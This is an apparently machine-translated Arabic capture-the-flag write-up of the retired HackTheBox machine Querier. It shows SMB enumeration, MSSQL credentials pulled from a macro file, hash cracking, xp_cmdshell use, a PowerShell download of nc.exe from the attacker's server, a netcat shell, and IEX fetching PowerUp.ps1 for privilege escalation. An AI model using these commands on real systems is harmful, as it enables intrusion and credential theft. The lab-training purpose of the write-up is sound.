مرحبا يا هبر! في هذه المقالة ، سوف تتعرف على طريقة لمهاجمة خادم بعيد باستخدام ميزات MsSQL ، وإنشاء غلاف عكسي للإصلاح في النظام ، ومثال على تشغيل سياسة مجموعة غير مكوّنة في Windows.
تحت القص ، سنتحدث عن تجربتنا في تمرير آلة مختبر 
Querier على بوابة 
hackthebox .
بالنسبة لأولئك الذين لا يعرفون ما هو hackthebox ، هذه بوابة يمكنك من خلالها اختبار مهاراتك المكبوتة في الممارسة العملية ، وهناك أقنعة CTF وأجهزة المختبرات نفسها.
تنصلقراءة قواعد الخدمة: " لا تشارك كيف اخترق كل جهاز مع الأعضاء الآخرين. ويشمل ذلك إنشاء رمز الدعوة وجميع التحديات . " ولكن نظرًا لأن هذا الجهاز لم يعد نشطًا ويتم تخزينه في قسم الأجهزة المتقاعدة ، يمكن فقط لأعضاء VIP الوصول إليه.
 
جمع المعلومات
دعنا نبدأ استكشافنا عن طريق بدء مسح المنفذ باستخدام nmap.
nmap –sC –Pn –A 10.10.10.125 

نحن قائمة المنافذ وجدت.
تعداد 139/445 / tcp (smb)
سوف نستخدم الأداة المساعدة smbclient للوصول إلى موارد خادم SMB.
 smbclient –L //10.10.10.125 
بعد الاطلاع على جميع الموارد ، نجد في دليل التقارير ملف "Currency Volume Report.xlsm".

إذا قمت بفتح هذا الملف باستخدام Microsoft Excel قياسي ، فسيظهر 
للوهلة الأولى فارغًا تمامًا.
نقوم بتحليل الملف باستخدام الأداة المساعدة 
binwalk ، والتي ستساعدك في إلقاء نظرة على الملفات المضمنة في مستند xlsm.

من إخراج binwalk ، وجدنا بعض الملفات المثيرة للاهتمام الموجودة في xlsm.
باستخدام العلامة –e ، قم بفكها.
 binwalk –e Currency\ Volume\ Report.xlsm 

الآن سنستخدم الأداة المساعدة 
للسلاسل لإخراج الحروف المطبوعة. من خلال تصفح الملفات ، نجد بيانات مثيرة للاهتمام في vbaProject.bin. يبدو أننا وجدنا بيانات الاعتماد لخادم mssql.

لتلخيص المعلومات الواردة حاليًا:
- نحن نعلم أن خادم mssql يدور على المنفذ 10.10.10.125:1433 ؛
- لدينا بيانات اعتماد من خادم mssql للمستخدم.
لذلك دعونا نحاول الاتصال بالخادم باستخدام البرنامج النصي من وحدة 
impacket .
 python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth 
الحصول على MsSQL.

تعداد MsSQL
نحن ندرج المعلومات المفيدة لنا باستخدام أوامر 
المقال .
بعد تنفيذ SQLi ، نحصل على علامة تجزئة من كلمة مرور المستخدم mssql-svc.

للحصول على كلمة المرور بشكل صريح ، من الضروري إزالتها باستخدام أي أداة مناسبة لك.
-  - john --format=netntlmv2 hash.txt
 
-  - hashcat -m 5600 -a 3 hash.txt
 
نحصل على كلمة المرور من mssql-svc .
الاتصال بـ SQL 
بقروض اعتماد جديدة.
 python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth 
تسمح لنا حقوق هذا المستخدم بتنفيذ 
xp_cmdshellحول xp_cmdshellشحن MsSQL مع مجموعة كبيرة من الإجراءات المخزنة المتقدمة. الأكثر إثارة للاهتمام منهم هو xp_cmdshell. يوفر الوصول إلى سطر الأوامر لنظام التشغيل.
 الحصول على قذيفة العكسية
نحن نحاول الحصول على shell من خلال netcat ، لهذا نحن بحاجة إلى تحميله على الخادم الذي تمت مهاجمته.
نذهب إلى الدليل على الجهاز الخاص بنا حيث يوجد netcat وتشغيله:
 python –m SimpleHTTPServer 
في shell mssql لتنزيل netcat (nc.exe) على الخادم البعيد ، قم بتشغيل الأمر powershell ، مع تحديد مسار الحفظ.
 xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.xx:8000/nc.exe" – OutFile "C:\Users\mssql-svc\Desktop\nc.exe" " 
نبدأ netcat للاستماع على المنفذ 4444.
 xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe" 
نبدأ netcat من جانبنا ، مع تحديد عنوان IP والمنفذ للخادم الذي تمت مهاجمته والحصول على الصدفة.
 nc 10.10.10.125 4444 
قم بتشغيل برنامج 
نصي من PowerShellMafia لزيادة الامتيازات.
 powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.xx:8000/PowerUp.ps1\"); Invoke-AllChecks 

نتيجة للبرنامج النصي ، حصلنا على بيانات اعتماد المسؤول.
نذهب إلى موارد smb باستخدام بيانات اعتماد جديدة وأذونات.


خذ علامة root.txt. النصر!